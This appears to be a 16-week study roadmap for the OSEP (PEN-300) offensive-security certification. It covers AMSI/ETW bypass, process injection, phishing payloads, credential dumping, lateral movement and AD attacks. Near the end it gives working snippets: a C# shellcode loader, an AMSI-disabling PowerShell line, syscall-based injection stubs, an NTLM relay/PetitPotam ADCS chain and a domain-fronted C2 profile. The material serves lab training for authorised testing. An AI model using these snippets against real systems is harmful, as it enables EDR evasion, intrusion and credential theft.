OSEP roadmap (PEN-300)
TL;DR: A 16-week roadmap from “I just passed OSCP” to “I can sit OSEP”. Heavier on tooling-development and EDR-evasion than on enumeration. Pair with oscp-vs-osep-mindset and osep-full-chain-walkthrough.
Prerequisites
- Pass OSCP first, or be at OSCP-equivalent comfort.
- Read C# without a tutorial open. (Not “write” — “read”.)
- Build a lab: at least one Windows workstation, one server, a domain controller, an EDR you can put in dev mode (Defender or Elastic Defend).
Lab setup (do this before week 1)
- Domain:
corp.local. DC on Win2022. Workstation on Win11. - Enable Defender + AMSI in default config.
- Install Sysmon with a sane config (SwiftOnSecurity).
- Optional: a second forest
partner.localwith a trust tocorp.local. Required for the cross-forest weeks.
The 16 weeks
Week 1 — mindset and OPSEC
- Read: oscp-vs-osep-mindset, opsec-fundamentals, infrastructure-design, c2-frameworks.
- Deliverable: a written threat model of your own home lab, listing what telemetry exists where.
Week 2 — C# loader fundamentals
- Read: windows-api-and-syscalls, c-and-asm-primer.
- Labs: write a C# “Hello, world” that uses P/Invoke to call
MessageBoxW. Then one that loads shellcode into a private memory region and runs it viaCreateThread. - Deliverable: minimal shellcode runner in C# that you’ll iterate on weekly.
Week 3 — AMSI and ETW
- Read: amsi-bypass, amsi-providers-tampering, etw-bypass, amsi-memory-patching-deep, etw-tampering-deep.
- Labs: implement an AMSI bypass in C# (memory patch on
AmsiScanBuffer). Verify by importing the AMSI signature test string after the patch. - Deliverable: AMSI patch + ETW patch helper class you can reuse.
Week 4 — process injection (classic)
- Read: process-injection-techniques, process-hollowing, reflective-dll-injection, thread-hijacking.
- Labs: implement classic CreateRemoteThread injection, then process hollowing, then APC injection.
- Deliverable: three injection primitives in your toolkit.
Week 5 — process injection (advanced)
- Read: atom-bombing, early-bird-apc, module-stomping, process-doppelganging, process-ghosting, process-herpaderping.
- Labs: implement module stomping (overwrite a benign loaded module with your payload).
- Deliverable: a module-stomping demo bypassing a sample EDR signature.
Week 6 — syscalls and unhooking
- Read: syscall-direct-and-indirect, edr-hooks-and-unhooking, hells-halos-tartarus-gates-comparison, syswhispers-freshycalls-comparison.
- Labs: build a direct-syscall NtAllocateVirtualMemory + NtWriteVirtualMemory + NtCreateThreadEx chain. Bonus: indirect syscalls via SysWhispers3.
- Deliverable: a syscall-based shellcode runner.
Week 7 — client-side initial access
- Read: client-side-attacks-primer, office-vba-macros-initial-access, jscript-hta-wsh-initial-access.
- Labs: build a Word macro that AMSI-patches then runs a Sliver/Mythic stager.
- Deliverable: working phishing payload chain that bypasses default Defender on Win11.
Week 8 — application allowlisting bypass
- Read: applocker-bypass-techniques, wldp-bypass, living-off-the-land.
- Labs: enable AppLocker default rules on the workstation, then bypass via msbuild, installutil, and writable path.
- Deliverable: documented bypasses for each of the three buckets.
Week 9 — network filter bypass and C2
- Read: c2-protocol-design, dns-c2-and-icmp-c2, domain-fronting-and-cdn-abuse, pivoting-and-tunneling, osep-network-filter-bypass-techniques, bof-cobalt-strike-development.
- Labs: stand up a Sliver C2 fronted via Cloudfront (or a Cloudflare Worker). Add DNS C2 as a fallback transport.
- Deliverable: working multi-transport C2 with documented detection signatures for each.
Week 10 — Windows credentials
- Read: credential-dumping, lsa-secrets, dpapi-secrets, cached-domain-credentials, wdigest-cleartext-enable, ssp-package-injection.
- Labs: dump LSASS with nanodump and parse offline with pypykatz; pull DPAPI master keys and decrypt browser-stored creds.
- Deliverable: full credential-harvest workflow with no Mimikatz on disk.
Week 11 — Windows lateral movement
- Read: lateral-movement-playbook, psexec-family, wmi-exec, smb-exec, winrm-exec, dcom-exec, overpass-the-hash, pass-the-ticket.
- Labs: lateral move via four different protocols from one host; observe which raise alerts in Defender.
- Deliverable: a per-protocol noise rating + your chosen default.
Week 12 — Linux post-exploitation and lateral
- Read: linux-post-exploitation-tradecraft, linux-userland-and-kernel-rootkit-primer, ssh-agent-hijack, ssh-execution.
- Labs: drop a PAM backdoor; hide a process and a file via LD_PRELOAD; pivot SSH via agent forwarding abuse.
- Deliverable: Linux persistence + evasion toolkit (scripts + LD_PRELOAD
.so).
Week 13 — kiosk and edge cases
- Read: kiosk-breakout-techniques, shell-upgrade-techniques.
- Labs: lock a VM into a Citrix-published Notepad; break out to cmd.exe via file dialog.
- Deliverable: a documented kiosk-breakout checklist.
Week 14 — AD attacks deep
- Read: constrained-delegation, resource-based-constrained-delegation, unconstrained-delegation, s4u2self-abuse, shadow-credentials, acl-abuse, adcs-attacks, cross-forest-trust-abuse, child-to-forest-root, mssql-trusted-links, mssql-xp-cmdshell-impersonation-chains, osep-ad-attack-chain-walkthrough.
- Labs: build a chain that uses two delegation types and ends with cross-forest DA.
- Deliverable: BloodHound diagram + Rubeus command log of the chain.
Week 15 — combining the attacks
- Read: osep-full-chain-walkthrough, ad-attack-path-playbook, recon-to-foothold.
- Labs: full mock — phishing → workstation → AD → cross-forest DA — under EDR-on conditions.
- Deliverable: chain executed end-to-end with no detection events you didn’t anticipate.
Week 16 — exam prep, report template, sit
- Read: osep-exam-strategy-and-pacing, osep-payload-development-toolkit, oscp-exam-methodology (re-read for time-mgmt patterns), report-writing-for-pentesters.
- Labs: full 48-hour mock against a community OSEP-like challenge (Sektor7, MalDev Academy, or your own scenario).
- Deliverable: complete OSEP-format report; book the exam.
Required tooling list (build or acquire)
- Sliver or Mythic C2 (free; open source).
- SysWhispers3 for indirect syscall stubs.
- Nanodump for LSASS.
- Rubeus, Certify, SharpHound, SharpKatz (build yourself from source).
- Donut for shellcode generation from .NET assemblies.
- Process Hacker / Process Explorer for blue-team analysis.
- Sysmon + sane config for telemetry observation.
Community courses that pair well
- Sektor7 — RED Team Operator (Endgame and Malware Development).
- MalDev Academy — comprehensive malware-development curriculum.
- Cybernetics Pro Labs (HTB) — AD-heavy practice.
- DEFCON 27 offensive C# workshop (mvelazc0) — free, eight short labs covering P/Invoke, custom Meterpreter stagers, raw shellcode injection, XOR/AES obfuscation, PowerShell-without-
powershell.exe, classic DLL injection, process hollowing, parent-PID spoofing. A very efficient way to compress the early C# loader weeks.
Sample command snippets — the ones you will re-type all course long
A minimal C# loader skeleton (weeks 2-6) that you iterate on weekly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// loader.cs — compile with: csc /platform:x64 /unsafe loader.cs
using System;
using System.Runtime.InteropServices;
class L {
[DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint t,uint p);
[DllImport("kernel32")] static extern IntPtr CreateThread(IntPtr a,uint s,IntPtr f,IntPtr p,uint c,IntPtr i);
[DllImport("kernel32")] static extern uint WaitForSingleObject(IntPtr h,uint m);
static void Main(){
byte[] sc = new byte[]{ /* msfvenom -p windows/x64/exec CMD=calc.exe -f csharp */ };
IntPtr m = VirtualAlloc(IntPtr.Zero,(uint)sc.Length,0x3000,0x40); // MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
Marshal.Copy(sc,0,m,sc.Length);
IntPtr t = CreateThread(IntPtr.Zero,0,m,IntPtr.Zero,0,IntPtr.Zero);
WaitForSingleObject(t,0xFFFFFFFF);
}
}
AMSI memory patch (week 3) — drop in before any IEX or .NET assembly load:
1
2
3
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null, $true)
NtAlloc + NtWrite + NtCreateThreadEx via SysWhispers3 (week 6) — the stubs you generate become a syscalls.asm you link in. The C wrapper looks like:
1
2
3
4
5
6
7
8
9
NTSTATUS status;
PVOID base = NULL;
SIZE_T sz = SHELLCODE_LEN;
status = SW3_NtAllocateVirtualMemory(NtCurrentProcess(),&base,0,&sz,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
SW3_NtWriteVirtualMemory(NtCurrentProcess(),base,shellcode,SHELLCODE_LEN,NULL);
ULONG oldProtect;
SW3_NtProtectVirtualMemory(NtCurrentProcess(),&base,&sz,PAGE_EXECUTE_READ,&oldProtect);
HANDLE hT;
SW3_NtCreateThreadEx(&hT,GENERIC_EXECUTE,NULL,NtCurrentProcess(),base,NULL,FALSE,0,0,0,NULL);
ntlmrelayx coercion + ADCS ESC8 chain (week 9 networking + week 14 AD) — the cheat sheet to paste:
1
2
3
4
5
6
7
# Terminal 1 — relay handler aimed at vulnerable CA
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
# Terminal 2 — coerce DC$ over PetitPotam (or DFSCoerce / PrinterBug)
PetitPotam.py -u user -p pass -d corp.local attacker-ip dc01.corp.local
# Result: PFX + key for DC01$ — kerberos UnPAC for NT hash, then DCSync.
Sliver beacon profile snippet (week 9) — domain-fronted via Cloudflare Workers:
1
profiles new --mtls --domains worker-front.example.workers.dev,backend.example.com beacon-prod
Reuse these instead of typing from memory in the exam.
Pragmatic notes from people who sat the exam
- C2 pairing: carry two C2s. Most candidates’ default is Sliver as primary (faster .NET assembly execution, smaller stagers) with Metasploit kept hot as a backup for token-handling and staging reliability. Chisel covers tunnelling for both.
- Recon discipline: budget tool-time. After initial access, automated enumeration tends to plateau within 30–60 minutes; switch to manual file/registry/SQL exploration when that happens instead of grinding the same scripts.
- Tradecraft chunking:
mimikatz,Rubeus,CrackMapExec,SharpHound/BloodHound,Impacket,SQLRecon/PowerUpSQLare the recurring six. Drill each one against the lab until you can recall command shape without web search. - Report writing: start the report after each milestone, not at the end. Most write-ups describe an unpleasant final-hour scramble; a running report file removes that.
References
- OffSec PEN-300 syllabus
- SpecterOps blog
- MDSec — research and tradecraft
- Sektor7 RTO courses
- MalDev Academy
- DEFCON 27 offensive C# workshop (mvelazc0)
- Candidate experience report (Vietnamese): OSEP — advanced evasion and breaching defenses, lessons
- See also: oscp-vs-osep-mindset, oscp-roadmap, osep-full-chain-walkthrough, osep-exam-strategy-and-pacing, osep-payload-development-toolkit, osep-network-filter-bypass-techniques, osep-ad-attack-chain-walkthrough, report-writing-for-pentesters